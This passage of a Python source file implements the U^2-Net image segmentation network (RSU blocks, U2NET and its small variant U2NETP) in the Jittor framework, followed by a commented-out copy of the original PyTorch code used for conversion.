self.rebnconv1d(jt.contrib.concat((hx2dup, hx1), dim=1)) return (hx1d + hxin) ### RSU-6 ### class RSU6(nn.Module): def __init__(self, in_ch=3, mid_ch=12, out_ch=3): super(RSU6, self).__init__() self.rebnconvin = REBNCONV(in_ch, out_ch, dirate=1) self.rebnconv1 = REBNCONV(out_ch, mid_ch, dirate=1) self.pool1 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv2 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool2 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv3 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool3 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv4 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool4 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv5 = REBNCONV(mid_ch, mid_ch, dirate=1) self.rebnconv6 = REBNCONV(mid_ch, mid_ch, dirate=2) self.rebnconv5d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv4d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv3d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv2d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv1d = REBNCONV((mid_ch * 2), out_ch, dirate=1) def execute(self, x): hx = x hxin = self.rebnconvin(hx) hx1 = self.rebnconv1(hxin) hx = self.pool1(hx1) hx2 = self.rebnconv2(hx) hx = self.pool2(hx2) hx3 = self.rebnconv3(hx) hx = self.pool3(hx3) hx4 = self.rebnconv4(hx) hx = self.pool4(hx4) hx5 = self.rebnconv5(hx) hx6 = self.rebnconv6(hx5) hx5d = self.rebnconv5d(jt.contrib.concat((hx6, hx5), dim=1)) hx5dup = _upsample_like(hx5d, hx4) hx4d = self.rebnconv4d(jt.contrib.concat((hx5dup, hx4), dim=1)) hx4dup = _upsample_like(hx4d, hx3) hx3d = self.rebnconv3d(jt.contrib.concat((hx4dup, hx3), dim=1)) hx3dup = _upsample_like(hx3d, hx2) hx2d = self.rebnconv2d(jt.contrib.concat((hx3dup, hx2), dim=1)) hx2dup = _upsample_like(hx2d, hx1) hx1d = self.rebnconv1d(jt.contrib.concat((hx2dup, hx1), dim=1)) return (hx1d + hxin) ### RSU-5 ### class RSU5(nn.Module): def __init__(self, in_ch=3, mid_ch=12, out_ch=3): super(RSU5, self).__init__() self.rebnconvin = REBNCONV(in_ch, out_ch, dirate=1) self.rebnconv1 = REBNCONV(out_ch, mid_ch, dirate=1) self.pool1 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv2 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool2 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv3 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool3 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv4 = REBNCONV(mid_ch, mid_ch, dirate=1) self.rebnconv5 = REBNCONV(mid_ch, mid_ch, dirate=2) self.rebnconv4d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv3d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv2d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv1d = REBNCONV((mid_ch * 2), out_ch, dirate=1) def execute(self, x): hx = x hxin = self.rebnconvin(hx) hx1 = self.rebnconv1(hxin) hx = self.pool1(hx1) hx2 = self.rebnconv2(hx) hx = self.pool2(hx2) hx3 = self.rebnconv3(hx) hx = self.pool3(hx3) hx4 = self.rebnconv4(hx) hx5 = self.rebnconv5(hx4) hx4d = self.rebnconv4d(jt.contrib.concat((hx5, hx4), dim=1)) hx4dup = _upsample_like(hx4d, hx3) hx3d = self.rebnconv3d(jt.contrib.concat((hx4dup, hx3), dim=1)) hx3dup = _upsample_like(hx3d, hx2) hx2d = self.rebnconv2d(jt.contrib.concat((hx3dup, hx2), dim=1)) hx2dup = _upsample_like(hx2d, hx1) hx1d = self.rebnconv1d(jt.contrib.concat((hx2dup, hx1), dim=1)) return (hx1d + hxin) ### RSU-4 ### class RSU4(nn.Module): def __init__(self, in_ch=3, mid_ch=12, out_ch=3): super(RSU4, self).__init__() self.rebnconvin = REBNCONV(in_ch, out_ch, dirate=1) self.rebnconv1 = REBNCONV(out_ch, mid_ch, dirate=1) self.pool1 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv2 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool2 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv3 = REBNCONV(mid_ch, mid_ch, dirate=1) self.rebnconv4 = REBNCONV(mid_ch, mid_ch, dirate=2) self.rebnconv3d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv2d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv1d = REBNCONV((mid_ch * 2), out_ch, dirate=1) def execute(self, x): hx = x hxin = self.rebnconvin(hx) hx1 = self.rebnconv1(hxin) hx = self.pool1(hx1) hx2 = self.rebnconv2(hx) hx = self.pool2(hx2) hx3 = self.rebnconv3(hx) hx4 = self.rebnconv4(hx3) hx3d = self.rebnconv3d(jt.contrib.concat((hx4, hx3), dim=1)) hx3dup = _upsample_like(hx3d, hx2) hx2d = self.rebnconv2d(jt.contrib.concat((hx3dup, hx2), dim=1)) hx2dup = _upsample_like(hx2d, hx1) hx1d = self.rebnconv1d(jt.contrib.concat((hx2dup, hx1), dim=1)) return (hx1d + hxin) ### RSU-4F ### # No pooling class RSU4F(nn.Module): def __init__(self, in_ch=3, mid_ch=12, out_ch=3): super(RSU4F, self).__init__() self.rebnconvin = REBNCONV(in_ch, out_ch, dirate=1) self.rebnconv1 = REBNCONV(out_ch, mid_ch, dirate=1) self.rebnconv2 = REBNCONV(mid_ch, mid_ch, dirate=2) self.rebnconv3 = REBNCONV(mid_ch, mid_ch, dirate=4) self.rebnconv4 = REBNCONV(mid_ch, mid_ch, dirate=8) self.rebnconv3d = REBNCONV((mid_ch * 2), mid_ch, dirate=4) self.rebnconv2d = REBNCONV((mid_ch * 2), mid_ch, dirate=2) self.rebnconv1d = REBNCONV((mid_ch * 2), out_ch, dirate=1) def execute(self, x): hx = x hxin = self.rebnconvin(hx) hx1 = self.rebnconv1(hxin) hx2 = self.rebnconv2(hx1) hx3 = self.rebnconv3(hx2) hx4 = self.rebnconv4(hx3) hx3d = self.rebnconv3d(jt.contrib.concat((hx4, hx3), dim=1)) hx2d = self.rebnconv2d(jt.contrib.concat((hx3d, hx2), dim=1)) hx1d = self.rebnconv1d(jt.contrib.concat((hx2d, hx1), dim=1)) return (hx1d + hxin) ##### U^2-Net #### class U2NET(nn.Module): def __init__(self, in_ch=3, n_classes=2): super(U2NET, self).__init__() # encoder self.stage1 = RSU7(in_ch, 32, 64) self.pool12 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage2 = RSU6(64, 32, 128) self.pool23 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage3 = RSU5(128, 64, 256) self.pool34 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage4 = RSU4(256, 128, 512) self.pool45 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage5 = RSU4F(512, 256, 512) self.pool56 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage6 = RSU4F(512, 256, 512) # decoder self.stage5d = RSU4F(1024, 256, 512) self.stage4d = RSU4(1024, 128, 256) self.stage3d = RSU5(512, 64, 128) self.stage2d = RSU6(256, 32, 64) self.stage1d = RSU7(128, 16, 64) self.side1 = nn.Conv(64, n_classes, 3, padding=1) self.side2 = nn.Conv(64, n_classes, 3, padding=1) self.side3 = nn.Conv(128, n_classes, 3, padding=1) self.side4 = nn.Conv(256, n_classes, 3, padding=1) self.side5 = nn.Conv(512, n_classes, 3, padding=1) self.side6 = nn.Conv(512, n_classes, 3, padding=1) self.outconv = nn.Conv((6 * n_classes), n_classes, 1) def execute(self, x): #-------------------- encoder ------------------- hx = x #stage 1 hx1 = self.stage1(hx) hx = self.pool12(hx1) #stage 2 hx2 = self.stage2(hx) hx = self.pool23(hx2) #stage 3 hx3 = self.stage3(hx) hx = self.pool34(hx3) #stage 4 hx4 = self.stage4(hx) hx = self.pool45(hx4) #stage 5 hx5 = self.stage5(hx) hx = self.pool56(hx5) #stage 6 hx6 = self.stage6(hx) hx6up = _upsample_like(hx6, hx5) #-------------------- decoder ------------------- hx5d = self.stage5d(jt.contrib.concat((hx6up, hx5), dim=1)) hx5dup = _upsample_like(hx5d, hx4) hx4d = self.stage4d(jt.contrib.concat((hx5dup, hx4), dim=1)) hx4dup = _upsample_like(hx4d, hx3) hx3d = self.stage3d(jt.contrib.concat((hx4dup, hx3), dim=1)) hx3dup = _upsample_like(hx3d, hx2) hx2d = self.stage2d(jt.contrib.concat((hx3dup, hx2), dim=1)) hx2dup = _upsample_like(hx2d, hx1) hx1d = self.stage1d(jt.contrib.concat((hx2dup, hx1), dim=1)) #side output d1 = self.side1(hx1d) d2 = self.side2(hx2d) d2 = _upsample_like(d2, d1) d3 = self.side3(hx3d) d3 = _upsample_like(d3, d1) d4 = self.side4(hx4d) d4 = _upsample_like(d4, d1) d5 = self.side5(hx5d) d5 = _upsample_like(d5, d1) d6 = self.side6(hx6) d6 = _upsample_like(d6, d1) d0 = self.outconv(jt.contrib.concat((d1, d2, d3, d4, d5, d6), dim=1)) # return (jt.sigmoid(d0), jt.sigmoid(d1), jt.sigmoid(d2), jt.sigmoid(d3), jt.sigmoid(d4), jt.sigmoid(d5), jt.sigmoid(d6)) return d0 def get_loss(self, target, d0, d1, d2, d3, d4, d5, d6, ignore_index=None): loss0 = nn.cross_entropy_loss(d0, target, ignore_index=ignore_index) # tar loss loss1 = nn.cross_entropy_loss(d1, target, ignore_index=ignore_index) loss2 = nn.cross_entropy_loss(d2, target, ignore_index=ignore_index) loss3 = nn.cross_entropy_loss(d3, target, ignore_index=ignore_index) loss4 = nn.cross_entropy_loss(d4, target, ignore_index=ignore_index) loss5 = nn.cross_entropy_loss(d5, target, ignore_index=ignore_index) loss6 = nn.cross_entropy_loss(d6, target, ignore_index=ignore_index) loss = loss0 + loss1 + loss2 + loss3 + loss4 + loss5 + loss6 print("l0: %3f, l1: %3f, l2: %3f, l3: %3f, l4: %3f, l5: %3f, l6: %3f\n"%(loss0.data.item(),loss1.data.item(),loss2.data.item(),loss3.data.item(),loss4.data.item(),loss5.data.item(),loss6.data.item())) return loss0, loss def update_params(self, loss, optimizer): optimizer.zero_grad() loss.backward() optimizer.step() ### U^2-Net small ### class U2NETP(nn.Module): def __init__(self, in_ch=3, n_classes=2): super(U2NETP, self).__init__() # encoder self.stage1 = RSU7(in_ch, 16, 64) self.pool12 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage2 = RSU6(64, 16, 64) self.pool23 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage3 = RSU5(64, 16, 64) self.pool34 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage4 = RSU4(64, 16, 64) self.pool45 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage5 = RSU4F(64, 16, 64) self.pool56 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.stage6 = RSU4F(64, 16, 64) # decoder self.stage5d = RSU4F(128, 16, 64) self.stage4d = RSU4(128, 16, 64) self.stage3d = RSU5(128, 16, 64) self.stage2d = RSU6(128, 16, 64) self.stage1d = RSU7(128, 16, 64) self.side1 = nn.Conv(64, n_classes, 3, padding=1) self.side2 = nn.Conv(64, n_classes, 3, padding=1) self.side3 = nn.Conv(64, n_classes, 3, padding=1) self.side4 = nn.Conv(64, n_classes, 3, padding=1) self.side5 = nn.Conv(64, n_classes, 3, padding=1) self.side6 = nn.Conv(64, n_classes, 3, padding=1) self.outconv = nn.Conv((6 * n_classes), n_classes, 1) def execute(self, x): #-------------------- encoder ------------------- hx = x #stage 1 hx1 = self.stage1(hx) hx = self.pool12(hx1) #stage 2 hx2 = self.stage2(hx) hx = self.pool23(hx2) #stage 3 hx3 = self.stage3(hx) hx = self.pool34(hx3) #stage 4 hx4 = self.stage4(hx) hx = self.pool45(hx4) #stage 5 hx5 = self.stage5(hx) hx = self.pool56(hx5) #stage 6 hx6 = self.stage6(hx) hx6up = _upsample_like(hx6, hx5) #-------------------- decoder ------------------- hx5d = self.stage5d(jt.contrib.concat((hx6up, hx5), dim=1)) hx5dup = _upsample_like(hx5d, hx4) hx4d = self.stage4d(jt.contrib.concat((hx5dup, hx4), dim=1)) hx4dup = _upsample_like(hx4d, hx3) hx3d = self.stage3d(jt.contrib.concat((hx4dup, hx3), dim=1)) hx3dup = _upsample_like(hx3d, hx2) hx2d = self.stage2d(jt.contrib.concat((hx3dup, hx2), dim=1)) hx2dup = _upsample_like(hx2d, hx1) hx1d = self.stage1d(jt.contrib.concat((hx2dup, hx1), dim=1)) #side output d1 = self.side1(hx1d) d2 = self.side2(hx2d) d2 = _upsample_like(d2, d1) d3 = self.side3(hx3d) d3 = _upsample_like(d3, d1) d4 = self.side4(hx4d) d4 = _upsample_like(d4, d1) d5 = self.side5(hx5d) d5 = _upsample_like(d5, d1) d6 = self.side6(hx6) d6 = _upsample_like(d6, d1) d0 = self.outconv(jt.contrib.concat((d1, d2, d3, d4, d5, d6), dim=1)) return d0 # return (jt.sigmoid(d0), jt.sigmoid(d1), jt.sigmoid(d2), jt.sigmoid(d3), jt.sigmoid(d4), jt.sigmoid(d5), jt.sigmoid(d6)) def get_loss(self, target, d0, d1, d2, d3, d4, d5, d6, ignore_index=None): loss0 = nn.cross_entropy_loss(d0, target, ignore_index=ignore_index) # tar loss loss1 = nn.cross_entropy_loss(d1, target, ignore_index=ignore_index) loss2 = nn.cross_entropy_loss(d2, target, ignore_index=ignore_index) loss3 = nn.cross_entropy_loss(d3, target, ignore_index=ignore_index) loss4 = nn.cross_entropy_loss(d4, target, ignore_index=ignore_index) loss5 = nn.cross_entropy_loss(d5, target, ignore_index=ignore_index) loss6 = nn.cross_entropy_loss(d6, target, ignore_index=ignore_index) loss = loss0 + loss1 + loss2 + loss3 + loss4 + loss5 + loss6 print("l0: %3f, l1: %3f, l2: %3f, l3: %3f, l4: %3f, l5: %3f, l6: %3f\n"%(loss0.data.item(),loss1.data.item(),loss2.data.item(),loss3.data.item(),loss4.data.item(),loss5.data.item(),loss6.data.item())) return loss0, loss def update_params(self, loss, optimizer): optimizer.zero_grad() loss.backward() optimizer.step() def main(): model = U2NETP() x = jt.ones([2, 3, 512, 512]) y = model(x) print (y[0].shape) # _ = y.data # Find total parameters and trainable parameters total_params = sum(p.numel() for p in model.parameters()) print(f'{total_params:,} total parameters.') total_trainable_params = sum( p.numel() for p in model.parameters() if p.requires_grad) print(f'{total_trainable_params:,} training parameters.') from jittorsummary import summary summary(model, input_size=(3, 512, 512)) ''' U2Net 44,052,518 total parameters. 44,023,718 training parameters. U2NETP 1,140,358 total parameters. 1,134,662 training parameters. ''' if __name__ == '__main__': main() # from jittor.utils.pytorch_converter import convert # pytorch_code=""" # import torch # import torch.nn as nn # import torch.nn.functional as F # class REBNCONV(nn.Module): # def __init__(self,in_ch=3,out_ch=3,dirate=1): # super(REBNCONV,self).__init__() # self.conv_s1 = nn.Conv2d(in_ch,out_ch,3,padding=1*dirate,dilation=1*dirate) # self.bn_s1 = nn.BatchNorm2d(out_ch) # self.relu_s1 = nn.ReLU(inplace=True) # def forward(self,x): # hx = x # xout = self.relu_s1(self.bn_s1(self.conv_s1(hx))) # return xout # ## upsample tensor 'src' to have the same spatial size with tensor 'tar' # def _upsample_like(src,tar): # src = nn.Upsample(src,size=tar.shape[2:],mode='bilinear') # return src # ### RSU-7 ### # class RSU7(nn.Module):#UNet07DRES(nn.Module): # def __init__(self, in_ch=3, mid_ch=12, out_ch=3): # super(RSU7,self).__init__() # self.rebnconvin = REBNCONV(in_ch,out_ch,dirate=1) # self.rebnconv1 = REBNCONV(out_ch,mid_ch,dirate=1) # self.pool1 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv2 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool2 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv3 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool3 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv4 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool4 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv5 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool5 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv6 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.rebnconv7 = REBNCONV(mid_ch,mid_ch,dirate=2) # self.rebnconv6d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv5d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv4d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv3d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv2d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv1d = REBNCONV(mid_ch*2,out_ch,dirate=1) # def forward(self,x): # hx = x # hxin = self.rebnconvin(hx) # hx1 = self.rebnconv1(hxin) # hx = self.pool1(hx1) # hx2 = self.rebnconv2(hx) # hx = self.pool2(hx2) # hx3 = self.rebnconv3(hx) # hx = self.pool3(hx3) # hx4 = self.rebnconv4(hx) # hx = self.pool4(hx4) # hx5 = self.rebnconv5(hx) # hx = self.pool5(hx5) # hx6 = self.rebnconv6(hx) # hx7 = self.rebnconv7(hx6) # hx6d = self.rebnconv6d(torch.cat((hx7,hx6),1)) # hx6dup = _upsample_like(hx6d,hx5) # hx5d = self.rebnconv5d(torch.cat((hx6dup,hx5),1)) # hx5dup = _upsample_like(hx5d,hx4) # hx4d = self.rebnconv4d(torch.cat((hx5dup,hx4),1)) # hx4dup = _upsample_like(hx4d,hx3) # hx3d = self.rebnconv3d(torch.cat((hx4dup,hx3),1)) # hx3dup = _upsample_like(hx3d,hx2) # hx2d = self.rebnconv2d(torch.cat((hx3dup,hx2),1)) # hx2dup = _upsample_like(hx2d,hx1) # hx1d = self.rebnconv1d(torch.cat((hx2dup,hx1),1)) # return hx1d + hxin # ### RSU-6 ### # class RSU6(nn.Module):#UNet06DRES(nn.Module): # def __init__(self, in_ch=3, mid_ch=12, out_ch=3): # super(RSU6,self).__init__() # self.rebnconvin = REBNCONV(in_ch,out_ch,dirate=1) # self.rebnconv1 = REBNCONV(out_ch,mid_ch,dirate=1) # self.pool1 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv2 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool2 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv3 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool3 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv4 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool4 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv5 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.rebnconv6 = REBNCONV(mid_ch,mid_ch,dirate=2) # self.rebnconv5d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv4d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv3d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv2d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv1d = REBNCONV(mid_ch*2,out_ch,dirate=1) # def forward(self,x): # hx = x # hxin = self.rebnconvin(hx) # hx1 = self.rebnconv1(hxin) # hx = self.pool1(hx1) # hx2 = self.rebnconv2(hx) # hx = self.pool2(hx2) # hx3 = self.rebnconv3(hx) # hx = self.pool3(hx3) # hx4 = self.rebnconv4(hx) # hx = self.pool4(hx4) # hx5 = self.rebnconv5(hx) # hx6 = self.rebnconv6(hx5) # hx5d = self.rebnconv5d(torch.cat((hx6,hx5),1)) # hx5dup = _upsample_like(hx5d,hx4) # hx4d = self.rebnconv4d(torch.cat((hx5dup,hx4),1)) # hx4dup = _upsample_like(hx4d,hx3) # hx3d = self.rebnconv3d(torch.cat((hx4dup,hx3),1)) # hx3dup = _upsample_like(hx3d,hx2) # hx2d = self.rebnconv2d(torch.cat((hx3dup,hx2),1)) # hx2dup = _upsample_like(hx2d,hx1) # hx1d = self.rebnconv1d(torch.cat((hx2dup,hx1),1)) # return hx1d + hxin # ### RSU-5 ### # class RSU5(nn.Module):#UNet05DRES(nn.Module): # def __init__(self, in_ch=3, mid_ch=12, out_ch=3): # super(RSU5,self).__init__() # self.rebnconvin = REBNCONV(in_ch,out_ch,dirate=1) # self.rebnconv1 = REBNCONV(out_ch,mid_ch,dirate=1) # self.pool1 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv2 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool2 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv3 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool3 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv4 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.rebnconv5 = REBNCONV(mid_ch,mid_ch,dirate=2) # self.rebnconv4d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv3d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv2d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv1d = REBNCONV(mid_ch*2,out_ch,dirate=1) # def forward(self,x): # hx = x # hxin = self.rebnconvin(hx) # hx1 = self.rebnconv1(hxin) # hx = self.pool1(hx1) # hx2 = self.rebnconv2(hx) # hx = self.pool2(hx2) # hx3 = self.rebnconv3(hx) # hx = self.pool3(hx3) # hx4 = self.rebnconv4(hx) # hx5 = self.rebnconv5(hx4) # hx4d = self.rebnconv4d(torch.cat((hx5,hx4),1)) # hx4dup = _upsample_like(hx4d,hx3) # hx3d = self.rebnconv3d(torch.cat((hx4dup,hx3),1)) # hx3dup = _upsample_like(hx3d,hx2) # hx2d = self.rebnconv2d(torch.cat((hx3dup,hx2),1)) # hx2dup = _upsample_like(hx2d,hx1) # hx1d = self.rebnconv1d(torch.cat((hx2dup,hx1),1)) # return hx1d + hxin # ### RSU-4 ### # class RSU4(nn.Module):#UNet04DRES(nn.Module): # def __init__(self, in_ch=3, mid_ch=12, out_ch=3): # super(RSU4,self).__init__() # self.rebnconvin = REBNCONV(in_ch,out_ch,dirate=1) # self.rebnconv1 = REBNCONV(out_ch,mid_ch,dirate=1) # self.pool1 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv2 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.pool2 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.rebnconv3 = REBNCONV(mid_ch,mid_ch,dirate=1) # self.rebnconv4 = REBNCONV(mid_ch,mid_ch,dirate=2) # self.rebnconv3d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv2d = REBNCONV(mid_ch*2,mid_ch,dirate=1) # self.rebnconv1d = REBNCONV(mid_ch*2,out_ch,dirate=1) # def forward(self,x): # hx = x # hxin = self.rebnconvin(hx) # hx1 = self.rebnconv1(hxin) # hx = self.pool1(hx1) # hx2 = self.rebnconv2(hx) # hx = self.pool2(hx2) # hx3 = self.rebnconv3(hx) # hx4 = self.rebnconv4(hx3) # hx3d = self.rebnconv3d(torch.cat((hx4,hx3),1)) # hx3dup = _upsample_like(hx3d,hx2) # hx2d = self.rebnconv2d(torch.cat((hx3dup,hx2),1)) # hx2dup = _upsample_like(hx2d,hx1) # hx1d = self.rebnconv1d(torch.cat((hx2dup,hx1),1)) # return hx1d + hxin # ### RSU-4F ### # class RSU4F(nn.Module):#UNet04FRES(nn.Module): # def __init__(self, in_ch=3, mid_ch=12, out_ch=3): # super(RSU4F,self).__init__() # self.rebnconvin = REBNCONV(in_ch,out_ch,dirate=1) # self.rebnconv1 = REBNCONV(out_ch,mid_ch,dirate=1) # self.rebnconv2 = REBNCONV(mid_ch,mid_ch,dirate=2) # self.rebnconv3 = REBNCONV(mid_ch,mid_ch,dirate=4) # self.rebnconv4 = REBNCONV(mid_ch,mid_ch,dirate=8) # self.rebnconv3d = REBNCONV(mid_ch*2,mid_ch,dirate=4) # self.rebnconv2d = REBNCONV(mid_ch*2,mid_ch,dirate=2) # self.rebnconv1d = REBNCONV(mid_ch*2,out_ch,dirate=1) # def forward(self,x): # hx = x # hxin = self.rebnconvin(hx) # hx1 = self.rebnconv1(hxin) # hx2 = self.rebnconv2(hx1) # hx3 = self.rebnconv3(hx2) # hx4 = self.rebnconv4(hx3) # hx3d = self.rebnconv3d(torch.cat((hx4,hx3),1)) # hx2d = self.rebnconv2d(torch.cat((hx3d,hx2),1)) # hx1d = self.rebnconv1d(torch.cat((hx2d,hx1),1)) # return hx1d + hxin # ##### U^2-Net #### # class U2NET(nn.Module): # def __init__(self,in_ch=3,out_ch=1): # super(U2NET,self).__init__() # self.stage1 = RSU7(in_ch,32,64) # self.pool12 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage2 = RSU6(64,32,128) # self.pool23 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage3 = RSU5(128,64,256) # self.pool34 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage4 = RSU4(256,128,512) # self.pool45 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage5 = RSU4F(512,256,512) # self.pool56 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage6 = RSU4F(512,256,512) # # decoder # self.stage5d = RSU4F(1024,256,512) # self.stage4d = RSU4(1024,128,256) # self.stage3d = RSU5(512,64,128) # self.stage2d = RSU6(256,32,64) # self.stage1d = RSU7(128,16,64) # self.side1 = nn.Conv2d(64,out_ch,3,padding=1) # self.side2 = nn.Conv2d(64,out_ch,3,padding=1) # self.side3 = nn.Conv2d(128,out_ch,3,padding=1) # self.side4 = nn.Conv2d(256,out_ch,3,padding=1) # self.side5 = nn.Conv2d(512,out_ch,3,padding=1) # self.side6 = nn.Conv2d(512,out_ch,3,padding=1) # self.outconv = nn.Conv2d(6*out_ch,out_ch,1) # def forward(self,x): # hx = x # #stage 1 # hx1 = self.stage1(hx) # hx = self.pool12(hx1) # #stage 2 # hx2 = self.stage2(hx) # hx = self.pool23(hx2) # #stage 3 # hx3 = self.stage3(hx) # hx = self.pool34(hx3) # #stage 4 # hx4 = self.stage4(hx) # hx = self.pool45(hx4) # #stage 5 # hx5 = self.stage5(hx) # hx = self.pool56(hx5) # #stage 6 # hx6 = self.stage6(hx) # hx6up = _upsample_like(hx6,hx5) # #-------------------- decoder -------------------- # hx5d = self.stage5d(torch.cat((hx6up,hx5),1)) # hx5dup = _upsample_like(hx5d,hx4) # hx4d = self.stage4d(torch.cat((hx5dup,hx4),1)) # hx4dup = _upsample_like(hx4d,hx3) # hx3d = self.stage3d(torch.cat((hx4dup,hx3),1)) # hx3dup = _upsample_like(hx3d,hx2) # hx2d = self.stage2d(torch.cat((hx3dup,hx2),1)) # hx2dup = _upsample_like(hx2d,hx1) # hx1d = self.stage1d(torch.cat((hx2dup,hx1),1)) # #side output # d1 = self.side1(hx1d) # d2 = self.side2(hx2d) # d2 = _upsample_like(d2,d1) # d3 = self.side3(hx3d) # d3 = _upsample_like(d3,d1) # d4 = self.side4(hx4d) # d4 = _upsample_like(d4,d1) # d5 = self.side5(hx5d) # d5 = _upsample_like(d5,d1) # d6 = self.side6(hx6) # d6 = _upsample_like(d6,d1) # d0 = self.outconv(torch.cat((d1,d2,d3,d4,d5,d6),1)) # return F.sigmoid(d0), F.sigmoid(d1), F.sigmoid(d2), F.sigmoid(d3), F.sigmoid(d4), F.sigmoid(d5), F.sigmoid(d6) # ### U^2-Net small ### # class U2NETP(nn.Module): # def __init__(self,in_ch=3,out_ch=1): # super(U2NETP,self).__init__() # self.stage1 = RSU7(in_ch,16,64) # self.pool12 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage2 = RSU6(64,16,64) # self.pool23 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage3 = RSU5(64,16,64) # self.pool34 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage4 = RSU4(64,16,64) # self.pool45 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage5 = RSU4F(64,16,64) # self.pool56 = nn.MaxPool2d(2,stride=2,ceil_mode=True) # self.stage6 = RSU4F(64,16,64) # # decoder # self.stage5d = RSU4F(128,16,64) # self.stage4d = RSU4(128,16,64) # self.stage3d = RSU5(128,16,64) # self.stage2d = RSU6(128,16,64) # self.stage1d = RSU7(128,16,64) # self.side1 = nn.Conv2d(64,out_ch,3,padding=1) # self.side2 = nn.Conv2d(64,out_ch,3,padding=1) # self.side3 = nn.Conv2d(64,out_ch,3,padding=1) # self.side4 = nn.Conv2d(64,out_ch,3,padding=1) # self.side5 = nn.Conv2d(64,out_ch,3,padding=1) # self.side6 = nn.Conv2d(64,out_ch,3,padding=1) # self.outconv = nn.Conv2d(6*out_ch,out_ch,1) # def forward(self,x): # hx = x # #stage 1 # hx1 = self.stage1(hx) # hx = self.pool12(hx1) # #stage 2 # hx2 = self.stage2(hx) # hx = self.pool23(hx2) # #stage 3 # hx3 = self.stage3(hx) # hx = self.pool34(hx3) # #stage 4 # hx4 = self.stage4(hx) # hx = 